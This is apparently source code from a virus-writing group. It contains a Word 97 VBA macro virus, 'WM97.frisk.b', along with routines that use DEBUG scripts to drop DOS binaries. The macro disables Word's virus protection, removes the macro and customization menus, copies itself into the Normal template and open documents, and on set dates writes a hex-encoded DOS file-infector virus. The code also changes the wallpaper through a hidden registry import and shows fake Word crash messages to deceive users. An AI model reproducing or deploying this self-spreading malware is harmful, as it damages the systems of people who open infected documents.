Print #1, "E 3A80 FF FF FF 04 FF FF FF FF 04 FF FF 04 04 FF FF 04"

Print #1, "E 3A90 FF 0E 0E A7 B9 B9 C5 99 99 80 A9 9D 52 6E B5 6E"

Print #1, "E 3AA0 6E B5 42 59 B3 6E 33 44 15 FF F1 F1 F1 FF F1 FF"

Print #1, "E 3AB0 FF FF F1 9B 4D 3F FF 10 77 CC F1 0E 41 CD 0E 37"

Print #1, "E 3AC0 A7 43 3C FF 04 FF FF FF FF FF 04 FF FF FF 04 FF"

Print #1, "E 3AD0 FF 04 04 FF 04 FF FF 00 04 00 FF 04 04 FF FF 04"

Print #1, "E 3AE0 04 04 FF 00 04 FF 04 00 FF 00 04 04 FF FF FF FF"

Print #1, "E 3AF0 1F 1F FF FF 1F 1F 1F 1F FF FF FF FF FF FF 1F FF"

Print #1, "E 3B00 FF 04 FF FF FF FF 00 04 00 04 FF FF 04 FF FF FF"

Print #1, "E 3B10 FF FF FF FF FF F8 04 98 A7 B9 80 A9 A9 A9 A9 AA"

Print #1, "E 3B20 4D 6E 44 45 7E 7E 6A 6D 6E 6E 6D 32 6A F1 F8 0E"

Print #1, "E 3B30 F1 0E F8 F6 FE FE FE F1 E6 F1 FE F8 9F 41 7D 0E"

Print #1, "E 3B40 21 FF E2 B7 38 15 7A FF FF 04 FF 04 FF 04 04 04"

Print #1, "E 3B50 FF FF FF FF 04 FF FF FF 04 04 FF 00 04 00 04 04"

Print #1, "E 3B60 FF 04 FF 04 04 04 00 FF 00 00 00 FF FF FF 04 FF"

Print #1, "E 3B70 FF FF FF FF 1F 1F 04 1F 1F 1F 1F 1F FF FF FF FF"

Print #1, "E 3B80 FF 04 1F 1F 04 FF FF FF 04 04 FF 04 FF 04 00 FF"

Print #1, "E 3B90 04 00 FF FF 04 04 04 FF FF FA FF 0E B9 C6 B9 80"

Print #1, "E 3BA0 A9 BA AA AA BC 3B 45 6E 7E 32 6E 6E 6E 7E 59 7E"

Print #1, "E 3BB0 7E 3E 0D F8 FE 0E F1 F1 11 86 AF 40 42 2E 0E F8"

Print #1, "E 3BC0 F8 0E 83 79 FF 0F CE 60 79 7B CD FF FF FF FF 04"

Print #1, "E 3BD0 FF 04 FF 04 FF 04 FF FF FF 04 04 04 04 FF 00 FF"

Print #1, "E 3BE0 00 FF FF 04 04 00 FF FF 04 00 04 00 FF 04 00 00"

Print #1, "E 3BF0 FF FF FF FF FF FF FF FF 1F 1F 1F 1F 1F 1F 1F 1F"

Print #1, "E 3C00 FF FF FF FF FF 1F 1F 1F 04 FF FF FF FF FF FF 00"

Print #1, "E 3C10 FF FF FF FF 00 00 00 FF FF 04 FF FF 04 04 FF F1"

Print #1, "E 3C20 BD BA B9 80 A9 49 BC 38 AC AC 3B 59 59 32 90 7E"

Print #1, "E 3C30 90 90 6F 32 32 8E 2F F8 F8 FF FF 67 85 BD BD BE"

Print #1, "E 3C40 8C 56 F1 F6 FF F1 0E FA FF 6B A4 96 A2 3C FB FF"

Print #1, "E 3C50 FF FF FF FF 04 04 FF FF 04 FF 04 04 04 FF FF 04"

Print #1, "E 3C60 04 04 00 FF 04 00 04 FF 00 00 00 04 00 00 FF FF"

Print #1, "E 3C70 00 FF 00 04 04 FF 04 FF FF FF FF 1F 1F 04 FF 1F"

Print #1, "E 3C80 1F 1F 1F 1F FF FF 1F 1F 1F 1F 1F 1F 1F 1F FF 04"

Print #1, "E 3C90 FF FF 00 FF 04 FF 00 00 00 FF FF FF 04 FF FF 04"

Print #1, "E 3CA0 FF 04 04 FE 76 77 BC 38 85 AC BD AC 85 AC BC BC"

Print #1, "E 3CB0 9B BD 4F 1C 42 44 52 52 7B 7B 63 0E F1 F6 10 FF"

Print #1, "E 3CC0 FF F6 FF 0A 09 E6 FF 3A F2 F1 FE 0E BC A7 58 31"

Print #1, "E 3CD0 21 04 F1 FF FF FF FF FF 04 FF FF FF FF FF FF FF"

Print #1, "E 3CE0 FF 04 04 04 04 04 00 FF FF 04 FF 00 04 00 00 00"

Print #1, "E 3CF0 00 FF FF 00 04 FF 00 00 04 FF 00 04 FF FF FF 1F"

Print #1, "E 3D00 1F 1F 1F 1F 1F 1F 1F 1F FF FF 1F 1F 1F 1F 04 1F"

Print #1, "E 3D10 1F 1F 1F FF 00 FF FF 00 04 FF 00 00 00 FF 04 04"

Print #1, "E 3D20 FF 04 04 FF FF 04 FF FF 0F 49 49 BC AC AC BD BD"

Print #1, "E 3D30 AC AC 77 BC 9D AC 42 59 44 44 44 41 34 7B 30 FF"

Print #1, "E 3D40 F8 0E BA 10 FF FF FA FF FF FF FF AB CD FA FE AB"

Print #1, "E 3D50 B9 7B 43 3C 0E 04 04 FF 04 FF 04 FF FF FF FF FF"

Print #1, "E 3D60 04 FF 04 FF 04 04 04 FF FF 04 FF 04 FF FF FF 00"

Print #1, "E 3D70 00 00 00 FF 00 FF 00 FF 00 04 04 00 FF FF 00 00"

Print #1, "E 3D80 FF 00 FF 04 1F 1F 1F 1F 1F 1F 1F FF FF 04 1F 1F"

Print #1, "E 3D90 1F 1F FF FF 1F 1F 1F 1F FF FF 04 FF FF FF FF 00"

Print #1, "E 3DA0 FF 00 FF 00 00 00 00 FF 04 FF FF FF FF 10 9B 9B"

Print #1, "E 3DB0 AC AC AC AC AC 77 77 62 BC 38 52 44 44 31 44 44"

Print #1, "E 3DC0 44 15 8F 0E F8 FA 99 55 6A 10 0E FF F1 FF 12 DB"

Print #1, "E 3DD0 21 F6 F1 49 15 5C 23 04 F1 04 04 FF FF 04 04 04"

Print #1, "E 3DE0 FF FF 04 FF 04 FF FF FF FF FF 04 FF FF FF 00 04"

Print #1, "E 3DF0 FF FF 00 FF 00 00 00 04 00 FF FF 04 FF FF 00 00"

Print #1, "E 3E00 FF FF 00 00 FF 00 FF FF FF FF 04 FF FF FF 04 FF"

Print #1, "E 3E10 FF 04 04 04 FF FF 04 FF FF FF FF FF FF FF FF FF"

Print #1, "E 3E20 FF 04 04 FF 00 FF 00 04 FF FF 00 04 04 FF FF 00"

Print #1, "E 3E30 04 FF 0F 9B AC 85 AC 85 38 BC AC BD AC AC 4C B5"

Print #1, "E 3E40 6D 44 44 58 45 52 8F 0E F8 F1 5D 56 55 8C 69 3D"

Print #1, "E 3E50 2F 78 AF B0 63 F8 0E 80 52 2E 74 FF FF FF FF FF"

Print #1, "E 3E60 FF FF FF FF FF 04 FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 3E70 FF FF 04 00 FF 04 04 00 00 00 00 00 FF 00 FF 04"

Print #1, "E 3E80 00 04 00 04 FF 00 00 00 04 FF FF FF 04 FF 04 04"

Print #1, "E 3E90 04 FF FF FF FF 04 FF FF 1F 1F FF FF FF FF FF FF"

Print #1, "E 3EA0 04 04 FF FF 04 04 FF FF FF 00 00 00 00 00 FF FF"

Print #1, "E 3EB0 00 FF FF FF FF 04 FF FF AA 85 AC BC 77 9D AC AB"

Print #1, "E 3EC0 AC AC 85 5C 6E 6E 44 44 58 B3 42 F1 FF 0E 96 4F"

Print #1, "E 3ED0 50 8C 40 65 AB 67 87 43 0B FF 0F 96 D0 64 FF F8"

Print #1, "E 3EE0 FF FF FF 04 FF FF FF FF FF FF FF FF 04 FF 04 04"

Print #1, "E 3EF0 04 FF FF FF FF 04 00 00 04 FF 04 00 FF 04 00 FF"

Print #1, "E 3F00 FF 04 FF 04 04 00 00 00 00 00 04 00 04 04 04 04"

Print #1, "E 3F10 FF 04 FF 04 04 FF FF FF 04 FF FF 04 1F 1F 1F FF"

Print #1, "E 3F20 FF FF FF FF FF FF 04 FF 04 04 FF FF FF FF FF FF"

Print #1, "E 3F30 04 FF 00 00 00 04 FF FF 00 00 F6 04 0E 2C BD BD"

Print #1, "E 3F40 BC AC AC AC AC 85 67 85 6D 44 44 31 44 52 1D CD"

Print #1, "E 3F50 0E FF DB 4E 8C 40 88 BE 67 85 43 43 E2 FF 12 A7"

Print #1, "E 3F60 CD FF F6 04 04 FF 04 04 04 FF FF FF FF FF FF FF"

Print #1, "E 3F70 04 04 04 FF FF 04 FF 04 FF 04 04 00 FF FF 04 FF"

Print #1, "E 3F80 FF 04 00 00 00 FF FF 04 FF FF 04 00 00 00 FF 00"

Print #1, "E 3F90 FF 04 FF FF FF FF 04 04 FF FF FF 04 FF FF 04 04"

Print #1, "E 3FA0 04 FF 1F 1F FF FF FF 04 FF FF FF 04 FF 04 FF FF"

Print #1, "E 3FB0 FF 00 FF 00 FF 00 04 FF FF FF 00 00 0E FE FE FE"

Print #1, "E 3FC0 0E 70 81 AB BD BD BD BD 85 85 87 AF 4E B5 45 31"

Print #1, "E 3FD0 44 59 31 9F FF FF 60 A9 AE 8C 4E BE AB AE 58 2E"

Print #1, "E 3FE0 FF FF 76 BD FF FA FA FA FF FF 04 04 FF FF FF FF"

Print #1, "E 3FF0 FF FF FF FF 04 FF FF 04 FF FF FF 04 FF 04 FF 00"

Print #1, "E 4000 FF FF FF 04 04 04 FF 04 04 FF FF 04 04 FF FF FF"

Print #1, "E 4010 FF FF FF FF 00 FF FF FF FF 04 FF FF 04 FF FF FF"

Print #1, "E 4020 FF FF FF FF 04 04 1F 1F 1F 04 FF FF FF FF FF FF"

Print #1, "E 4030 FF FF FF FF 00 00 00 00 00 00 FF FF FF 04 FF FF"

Print #1, "E 4040 04 04 04 FF 04 FF FF FF AF AF 87 87 AF 85 AF BE"

Print #1, "E 4050 88 B1 B5 59 B5 6E 52 45 25 FF F1 AC 85 AC 4E 53"

Print #1, "E 4060 6E 58 BF E9 10 38 CD FF FF FF 04 04 FF 04 04 FF"

Print #1, "E 4070 FF FF 04 FF FF 04 04 FF 04 04 04 04 04 04 FF 04"

Print #1, "E 4080 04 04 FF FF FF FF 04 FF FF FF 04 04 04 04 FF FF"

Print #1, "E 4090 FF FF FF FF FF FF 04 FF FF FF FF 04 04 04 04 04"

Print #1, "E 40A0 FF FF 04 FF FF FF 1F 1F 1F 04 1F 1F 1F 04 FF FF"

Print #1, "E 40B0 FF 04 FF FF 04 04 04 FF 04 FF 00 00 FF 00 FF 00"

Print #1, "E 40C0 04 FF FF FF 00 04 FF FF FF FF FF FF FF 9C 85 85"

Print #1, "E 40D0 87 87 BE 3B 88 8B 4F 4F 59 31 25 42 53 79 FF AF"

Print #1, "E 40E0 AC 67 4F 35 59 31 63 0E 9C 21 FA F1 FF FF FF 04"

Print #1, "E 40F0 FF FF FF FF FF 04 04 FF 04 04 04 FF FF FF 04 FF"

Print #1, "E 4100 04 04 04 04 04 FF FF 04 FF FF 04 1F 1F 1F FF FF"

Print #1, "E 4110 04 FF 04 FF FF FF 04 04 1F 1F 1F 1F FF FF 1F 1F"

Print #1, "E 4120 1F 04 FF FF FF FF 04 FF 1F 1F 1F 1F 04 04 1F 1F"

Print #1, "E 4130 1F FF FF FF 1F 1F 1F 04 FF 1F 1F 04 04 04 00 FF"

Print #1, "E 4140 FF FF 1F 1F 1F 1F 1F 00 04 04 04 FF FF FF FF 00"

Print #1, "E 4150 FF 00 65 85 3B 3B 3B 88 8B 8B 50 6C 4F 44 B3 1C"

Print #1, "E 4160 90 B4 15 AF AF AC 2F 6E 44 41 0F 0C E1 FA FE F1"

Print #1, "E 4170 FF FF FF 04 04 04 04 04 04 FF FF FF FF 04 04 FF"

Print #1, "E 4180 04 FF 04 FF FF 04 04 FF 04 04 FF 04 FF 1F 1F 1F"

Print #1, "E 4190 1F FF 04 FF FF 04 FF 04 1F 1F FF 04 1F 1F 1F 1F"

Print #1, "E 41A0 04 FF 1F 1F 1F 1F 1F FF 04 FF 1F 1F 1F 1F 1F FF"

Print #1, "E 41B0 04 04 1F 1F 1F 04 FF 04 1F 1F 1F 04 FF 1F 1F 04"

Print #1, "E 41C0 04 04 00 04 00 FF 1F 1F 1F 1F FF FF FF FF 04 04"

Print #1, "E 41D0 FF 00 04 00 FF FF FF FF 4A 85 3B 3B 8B 40 8E 4F"

Print #1, "E 41E0 4F 4F 50 59 6D 6A 6D 23 C4 9A 25 31 9F 63 DA DD"

Print #1, "E 41F0 FF 04 FF FF 04 04 FF FF 04 04 04 04 04 04 FF 04"

Print #1, "E 4200 04 04 FF FF FF FF 04 FF 04 FF 04 FF 04 FF FF FF"

Print #1, "E 4210 FF 1F 1F 1F 1F 04 FF FF FF FF 04 FF 1F 1F FF 04"

Print #1, "E 4220 1F 1F 1F 1F FF 04 FF FF 1F 1F 1F FF FF 1F 1F 1F"

Print #1, "E 4230 1F FF FF FF 04 04 1F 1F 1F 04 FF 04 1F 1F FF FF"

Print #1, "E 4240 FF 1F 1F 00 00 00 04 00 FF FF 1F 1F 1F 1F FF FF"

Print #1, "E 4250 04 04 FF 00 FF 04 04 FF 00 FF FF FF FF 81 BE 4E"

Print #1, "E 4260 B1 7C B4 7C 55 6F 6C 4E 4F 69 45 7E 8D D2 54 27"

Print #1, "E 4270 11 9E FF FF FF FF 04 FF FF FF FF FF FF 04 04 04"

Print #1, "E 4280 FF FF FF FF FF FF FF FF FF 04 04 FF 04 04 FF FF"

Print #1, "E 4290 FF FF FF FF FF 1F 1F 1F 1F FF FF FF FF FF FF FF"

Print #1, "E 42A0 1F 1F FF 04 1F 1F 1F 1F FF 04 FF FF FF 1F 1F FF"

Print #1, "E 42B0 1F 1F 1F 1F FF 04 FF FF 04 04 1F 1F 1F 04 FF FF"

Print #1, "E 42C0 FF 04 FF FF FF FF 1F FF 04 04 04 FF 04 FF 1F 1F"

Print #1, "E 42D0 1F 04 04 FF 04 FF FF FF FF 04 FF 00 FF 00 04 FF"

Print #1, "E 42E0 FF FF AE 4C 4E 8B 6F 4F 4F 5A B4 8B B4 7C 55 59"

Print #1, "E 42F0 6F 40 59 1C 67 78 0E FF FF FF FF 04 04 FF FF FF"

Print #1, "E 4300 FF FF FF 04 FF 04 FF 04 04 FF 04 FF FF FF FF FF"

Print #1, "E 4310 04 04 04 FF FF 04 FF 04 04 1F 1F 1F 1F FF FF FF"

Print #1, "E 4320 FF FF 1F 1F 1F 04 FF FF 1F 1F 1F 1F 04 FF FF 04"

Print #1, "E 4330 04 FF 04 1F 1F 1F 1F 1F FF 04 04 04 04 04 1F 1F"

Print #1, "E 4340 1F FF FF 00 FF 04 04 FF FF FF FF 1F 1F 04 FF 1F"

Print #1, "E 4350 1F 1F 1F 1F FF 04 FF 04 04 04 FF FF FF 00 00 04"

Print #1, "E 4360 FF 00 FF 04 FF FF FF 00 FF 04 FF FF FF FF 04 FF"

Print #1, "E 4370 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 04 FF"

Print #1, "E 4380 FF FF FF 04 FF FF FF FF FF 04 04 FF 04 FF FF FF"

Print #1, "E 4390 FF FF FF FF 04 04 FF FF 04 FF FF FF 04 1F 1F 1F"

Print #1, "E 43A0 1F FF FF FF FF 1F 1F 1F 04 04 FF FF 1F 1F 1F 1F"

Print #1, "E 43B0 FF 04 04 04 FF FF 04 1F 1F 1F 1F 1F FF 04 FF 04"

Print #1, "E 43C0 04 04 1F 1F 1F FF 04 FF 00 00 04 FF 00 FF FF 1F"

Print #1, "E 43D0 1F FF FF FF 1F 1F 1F FF 04 FF 04 04 FF FF FF FF"

Print #1, "E 43E0 FF FF 04 00 FF 04 00 FF 04 FF FF FF FF FF FF 04"

Print #1, "E 43F0 FF FF FF FF FF 04 FF 04 FF FF FF FF FF 04 04 04"

Print #1, "E 4400 04 FF FF FF FF FF 04 04 FF FF FF 04 FF 04 04 04"

Print #1, "E 4410 FF FF FF FF FF FF FF 04 FF FF FF FF 04 FF FF 04"

Print #1, "E 4420 FF 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 04 FF FF FF"

Print #1, "E 4430 1F 1F 1F 1F FF FF FF FF FF FF 04 1F 1F 1F 1F 1F"

Print #1, "E 4440 FF FF FF 04 04 04 1F 1F FF FF FF 04 00 00 FF 00"

Print #1, "E 4450 00 FF FF 1F 1F 1F 04 1F 1F 1F 1F FF 04 04 FF 04"

Print #1, "E 4460 04 FF FF 04 00 04 FF 00 FF 04 FF 04 04 FF FF FF"

Print #1, "E 4470 FF FF FF 04 FF 04 FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 4480 04 FF FF 04 FF FF FF FF 04 FF 04 FF 04 04 04 FF"

Print #1, "E 4490 FF 04 04 04 04 FF FF FF FF FF FF 04 04 FF FF FF"

Print #1, "E 44A0 FF FF 04 FF 04 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F 1F"

Print #1, "E 44B0 FF FF FF FF 1F 1F 1F 1F FF 04 04 04 FF FF 04 1F"

Print #1, "E 44C0 1F 1F 1F 1F FF FF FF 04 FF FF FF FF FF FF FF FF"

Print #1, "E 44D0 00 FF 00 04 FF FF FF 1F 1F 1F FF 1F 1F 1F 1F 04"

Print #1, "E 44E0 FF 04 FF FF FF FF 04 FF FF FF FF FF FF 04 04 04"

Print #1, "E 44F0 FF FF 00 FF FF FF 00 FF 04 FF FF 04 FF FF FF FF"

Print #1, "E 4500 FF FF FF FF 04 FF FF 04 04 04 04 FF FF FF FF 04"

Print #1, "E 4510 FF 04 FF 04 FF FF 04 04 FF 04 FF 04 FF 04 04 04"

Print #1, "E 4520 FF FF FF 04 FF FF 04 04 FF 1F 1F 1F 1F FF FF 1F"

Print #1, "E 4530 1F 1F 1F 1F 04 FF FF FF 1F 1F 1F 1F 04 04 FF FF"

Print #1, "E 4540 FF FF 04 1F 1F 1F 1F 1F FF FF FF 04 04 FF FF FF"

Print #1, "E 4550 04 FF 04 04 04 FF 00 00 FF FF 00 1F 1F 1F 04 1F"

Print #1, "E 4560 1F 1F 04 04 FF FF FF 04 04 04 04 00 00 FF FF FF"

Print #1, "E 4570 FF 04 FF FF 04 FF 00 FF 04 FF 00 FF 04 FF 04 FF"

Print #1, "E 4580 FF FF FF FF FF FF 04 04 04 FF FF FF FF FF FF FF"

Print #1, "E 4590 FF FF 04 FF FF FF FF FF FF FF FF FF FF 04 04 04"

Print #1, "E 45A0 FF FF 04 04 04 FF 04 04 04 FF 04 FF FF 1F 1F 1F"

Print #1, "E 45B0 1F FF FF FF 1F 1F 1F 1F 04 FF FF FF 1F 1F 1F 1F"

Print #1, "E 45C0 04 FF 04 04 FF FF FF 1F 1F 1F 1F 1F FF FF FF FF"

Print #1, "E 45D0 FF 04 FF 04 FF FF FF 04 00 00 FF 04 04 FF 04 1F"

Print #1, "E 45E0 1F 1F 1F 1F 1F 1F 04 04 FF FF 04 04 FF 04 FF FF"

Print #1, "E 45F0 00 04 04 00 00 FF FF 04 04 FF FF 04 FF 00 04 04"

Print #1, "E 4600 04 FF 04 FF 04 FF FF FF 04 04 04 FF FF FF FF 04"

Print #1, "E 4610 FF FF FF FF FF FF 04 04 FF 04 FF FF FF FF FF FF"

Print #1, "E 4620 FF FF 04 FF 04 FF FF 04 04 04 FF FF FF FF 04 04"

Print #1, "E 4630 FF 1F 1F 1F 1F FF FF 04 FF 1F 1F 1F 04 FF FF FF"

Print #1, "E 4640 1F 1F 1F 1F FF FF FF 04 FF 04 FF 04 1F 1F 1F 1F"

Print #1, "E 4650 FF FF FF FF FF 04 FF FF 04 FF FF 04 FF FF 00 FF"

Print #1, "E 4660 00 00 04 FF 1F 1F 1F 1F 1F 1F FF FF 04 04 04 FF"

Print #1, "E 4670 04 FF FF 00 FF 00 FF 04 04 FF FF FF FF FF 00 FF"

Print #1, "E 4680 FF 04 00 00 00 FF 04 04 FF FF FF FF FF FF FF FF"

Print #1, "E 4690 04 FF FF FF 04 04 FF 04 FF 04 FF FF FF FF FF 04"

Print #1, "E 46A0 FF FF FF 04 FF FF 04 04 04 04 FF FF FF 04 FF 04"

Print #1, "E 46B0 04 FF 04 FF FF 1F 1F 1F 1F FF FF 04 04 1F 1F 1F"

Print #1, "E 46C0 04 FF FF 04 1F 1F 1F 1F FF FF FF 00 04 04 04 FF"

Print #1, "E 46D0 FF 1F 1F 1F 1F FF 04 FF FF 04 1F 1F 1F 00 04 FF"

Print #1, "E 46E0 00 FF FF 00 00 FF 04 04 04 1F 1F 1F 1F 04 FF FF"

Print #1, "E 46F0 FF FF FF FF FF FF FF FF FF 04 FF 04 00 04 04 FF"

Print #1, "E 4700 04 04 FF FF FF 00 00 00 00 04 FF FF FF FF 04 FF"

Print #1, "E 4710 04 04 04 FF 04 FF 04 FF 04 04 FF FF FF FF FF FF"

Print #1, "E 4720 FF FF FF FF 04 FF FF 04 FF FF FF FF 04 04 FF FF"

Print #1, "E 4730 FF 04 04 04 FF 04 FF FF FF 1F 1F 1F 1F FF 04 FF"

Print #1, "E 4740 FF 1F 1F 00 FF FF 00 04 1F 1F 1F 1F FF FF 04 00"

Print #1, "E 4750 FF FF FF FF FF 1F 1F 1F 1F 1F FF 04 04 04 1F 1F"

Print #1, "E 4760 1F 04 FF FF FF FF 00 00 00 FF 00 FF FF 1F 1F 1F"

Print #1, "E 4770 1F 04 04 04 FF FF FF 04 04 FF 04 FF 00 FF FF FF"

Print #1, "E 4780 FF 00 FF 04 04 FF 04 00 04 04 04 04 FF FF FF FF"

Print #1, "E 4790 FF FF 04 04 04 FF FF FF FF FF FF 04 04 04 FF FF"

Print #1, "E 47A0 FF FF 04 04 FF 04 FF FF FF 04 FF 04 04 04 FF FF"

Print #1, "E 47B0 FF 04 FF 04 04 04 FF FF 04 FF 04 FF 04 1F 1F 1F"

Print #1, "E 47C0 1F 1F FF 1F 1F 1F 00 04 00 00 FF 04 1F 1F 1F 1F"

Print #1, "E 47D0 FF 00 FF FF 00 04 04 04 FF FF 04 1F 1F 1F 1F 1F"

Print #1, "E 47E0 FF 1F 1F 1F 00 00 FF FF 00 00 00 00 04 04 00 FF"

Print #1, "E 47F0 04 FF 1F 1F 1F FF FF FF FF FF FF FF 04 FF 04 FF"

Print #1, "E 4800 04 FF 00 FF 04 FF 04 FF 04 FF FF FF FF FF FF 04"

Print #1, "E 4810 FF 04 FF FF 04 04 04 FF FF FF FF FF FF FF FF FF"

Print #1, "E 4820 FF FF 04 FF FF FF 04 04 04 04 04 04 FF FF 04 04"

Print #1, "E 4830 04 04 FF FF FF 04 04 FF 04 FF FF 04 FF 04 00 04"

Print #1, "E 4840 04 1F 1F 00 1F FF FF 1F 1F 1F 04 FF FF 04 04 FF"

Print #1, "E 4850 1F 1F 1F FF FF 04 FF FF FF 00 00 FF 00 FF FF FF"

Print #1, "E 4860 1F 1F 1F 04 FF 1F 1F 1F 04 04 04 04 00 00 00 00"

Print #1, "E 4870 FF 00 04 04 FF 04 1F 1F FF FF 04 FF FF FF FF 04"

Print #1, "E 4880 FF FF 04 04 FF FF 04 04 FF 04 FF 04 FF FF FF FF"

Print #1, "E 4890 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 04 FF"

Print #1, "E 48A0 04 FF 04 04 04 04 04 FF FF 04 04 FF 04 FF FF 00"

Print #1, "E 48B0 04 04 FF FF FF FF 04 04 FF FF FF 04 FF FF FF FF"

Print #1, "E 48C0 FF FF 00 FF 04 00 FF 04 00 FF FF 04 00 FF 04 00"

Print #1, "E 48D0 04 04 04 FF FF FF FF FF FF FF 04 04 04 04 00 04"

Print #1, "E 48E0 00 04 FF FF FF 04 FF 04 FF 04 FF FF 00 00 04 FF"

Print #1, "E 48F0 FF 00 00 00 00 FF 04 FF FF 0E FF FF FF FF FF FF"

Print #1, "E 4900 FF FF FF 04 04 FF FF 04 FF FF FF FF 04 FF 04 04"

Print #1, "E 4910 04 04 FF FF FF 04 FF FF FF 04 FF FF 04 FF FF FF"

Print #1, "E 4920 FF 04 FF FF FF FF 04 FF 04 FF FF FF FF 04 04 00"

Print #1, "E 4930 FF 04 00 FF FF FF FF 04 FF 04 FF FF FF 04 FF 04"

Print #1, "E 4940 04 FF FF FF FF 04 00 FF 00 00 00 00 FF 00 FF FF"

Print #1, "E 4950 FF FF FF 00 00 04 FF FF FF 04 04 04 04 04 FF 04"

Print #1, "E 4960 00 00 04 00 FF 04 FF FF FF FF FF 04 04 04 FF FF"

Print #1, "E 4970 FF FF 00 FF FF FF 00 00 FF FF FF FF FF 04 0E 04"

Print #1, "E 4980 04 04 FF 04 FF FF 04 FF 04 FF FF FF FF FF 04 FF"

Print #1, "E 4990 FF FF FF 04 FF 04 FF FF 04 FF FF FF FF 04 FF FF"

Print #1, "E 49A0 04 04 04 FF 04 FF 04 FF FF 04 FF FF FF 04 FF FF"

Print #1, "E 49B0 04 FF 04 FF 00 FF FF 04 04 FF FF 04 FF 04 04 FF"

Print #1, "E 49C0 FF 04 FF FF FF 04 04 FF FF 04"

Print #1, "RCX"

Print #1, "48CA"

Print #1, "W"

Print #1, "Q"

Print #1, ""

Close #1

Open K$ + "\1.bat" For Output As #16

Print #16, "debug < c:\windows\command\meta.scr > nul"

Print #16, "copy /y meta.bmp c:\windows\meta.bmp >nul"

Close #16

Shell "c:\windows\command\1.bat", vbHide

Call MakPic

End Sub

Sub MakPic()

Open "c:\windows\explorer.exe" For Input As #3

Close #3

Open "c:\windows\grpconv.exe" For Input As #4

Close #4

Open "c:\windows\regedit.exe" For Input As #5

Close #5

Open "c:\windows\regmeta.reg" For Output As #6

Print #6, "REGEDIT4"

Print #6, ""

Print #6, "[HKEY_CURRENT_USER\Control Panel\Desktop]"

Print #6, Chr$(34) + "TileWallpaper" + Chr$(34) + "=" + Chr$(34) + "1" + Chr$(34)

Print #6, Chr$(34) + "Wallpaper" + Chr$(34) + "=" + Chr$(34) + "C:\\windows\\meta.bmp" + Chr$(34)

Close #6

Shell "c:\windows\regedit regmeta.reg", vbHide

MsgBox "This program has performed an illegal operation at 000RLG.A000. You will need to restart Windows. All data not saved will be lost.", vbCritical, "Microsoft Word"

End Sub


WM97.frisk.b by Knowdeth

This is a simple macro I made to carry the frisk

virus by nUcLeii. Its not much but gets the job

done ;-)

Attribute VB_Name = "frisk"

Sub HelpWordPerfectHelp()

MsgBox "This program has performed an illegal operation and will be shut down.", vbCritical, "Microsoft Word"

End Sub

Sub ToolsMacro()

End Sub

Sub FileTemplates()

End Sub

Sub ViewVBCode()

MsgBox "This program has performed an illegal operation and will be shut down.", vbCritical, "Microsoft Word"

Application.ScreenUpdating = False

Application.ShowVisualBasicEditor = False

Application.EnableCancelKey = wdCancelDisabled

CommandBars("tools").Controls("Macro").Delete

End Sub

Sub AutoClose()

' [WM97.frisk.b]

' by -KD- / Metaphase VX Team & NoMercyVirusTeam

' Tech used from Mr.Vic, 29/A & NoMercy special thanx

' Special greets to nUcLeii and VXU#2

On Error Resume Next

Application.VBE.ActiveVBProject.VBComponents("frisk").Export "c:\windows\frisk.dll"

Application.ShowVisualBasicEditor = False

Application.ScreenUpdating = False

Application.DisplayStatusBar = False

Application.EnableCancelKey = wdCancelDisabled

With Options

  .ConfirmConversions = False

  .SaveNormalPrompt = False

  .VirusProtection = False

End With

CommandBars("tools").Controls("Macro").Delete

CommandBars("tools").Controls("Customize...").Delete

CommandBars("view").Controls("Toolbars").Delete

CommandBars("view").Controls("Status Bar").Delete

For Z = 1 To NormalTemplate.VBProject.VBComponents.Count

If NormalTemplate.VBProject.VBComponents(Z).Name = "frisk" Then NormInstall = True

Next Z

For Z = 1 To ActiveDocument.VBProject.VBComponents.Count

If ActiveDocument.VBProject.VBComponents(Z).Name = "frisk" Then ActivInstall = True

Next Z

If ActivInstall = True And NormInstall = False Then Set KD = NormalTemplate.VBProject _

Else If ActivInstall = False And NormInstall = True Then Set KD = ActiveDocument.VBProject

KD.VBComponents.Import ("c:\windows\frisk.dll")

On Error GoTo msg_frisk

If Day(Date) = "1" Or Day(Date) = "5" Or Day(Date) = "10" Or Day(Date) = "15" Or Day(Date) = "20" Or Day(Date) = "25" Or Day(Date) = "31" Then

Open "c:\windows\command\frisk.scr" For Output As #1

Print #1, "N FRISK2.COM"

Print #1, "E 0100 E9 00 00 B9 FF FF EB 05 B8 00 4C CD 21 E2 F7 E8"

Print #1, "E 0110 00 00 5D 81 ED 12 01 E9 D4 05 8D B6 52 01 8B FE"

Print #1, "E 0120 E8 02 00 EB 2D AC D0 C8 D0 C8 D0 C8 D0 C8 3E 32"

Print #1, "E 0130 86 51 01 F6 D0 F6 D8 3E 32 86 51 01 F6 D8 F6 D0"

Print #1, "E 0140 3E 32 86 51 01 D0 C8 D0 C8 D0 C8 D0 C8 AA E2 D5"

Print #1, "E 0150 C3 00 8D B6 79 06 BF 00 01 57 A4 A5 06 B8 24 35"

Print #1, "E 0160 CD 21 8D B6 7F 06 89 1C 46 46 8C 04 07 B8 24 25"

Print #1, "E 0170 8D 96 B0 02 CD 21 B4 1A 8D 96 C4 06 CD 21 B4 47"

Print #1, "E 0180 8D B6 83 06 32 D2 C6 04 5C 46 CD 21 B4 4E 8D 96"

Print #1, "E 0190 47 06 B9 07 00 CD 21 73 7C B4 3B 8D 96 44 06 CD"

Print #1, "E 01A0 21 73 E9 B4 2A CD 21 80 FA 1D 75 3F 3E 80 BE 60"

Print #1, "E 01B0 06 01 74 22 B4 19 CD 21 3E 88 86 C3 06 3C 02 74"

Print #1, "E 01C0 06 B4 0E B2 02 CD 21 B4 3B 8D 96 4D 06 CD 21 3E"

Print #1, "E 01D0 FE 86 60 06 73 B6 B8 00 B8 8E C0 33 FF 8D B6 26"

Print #1, "E 01E0 03 B9 1E 03 E8 CC 00 33 C0 CD 16 1E 8D B6 7F 06"

Print #1, "E 01F0 8B 14 46 46 8E 1C B8 24 25 CD 21 1F B4 0E 3E 8A"

Print #1, "E 0200 96 C3 06 CD 21 B4 3B 8D 96 83 06 CD 21 B4 1A BA"

Print #1, "E 0210 80 00 CD 21 C3 8D 96 E2 06 52 B8 01 43 33 C9 CD"

Print #1, "E 0220 21 B8 02 3D 5A CD 21 93 B8 00 57 CD 21 52 51 B4"

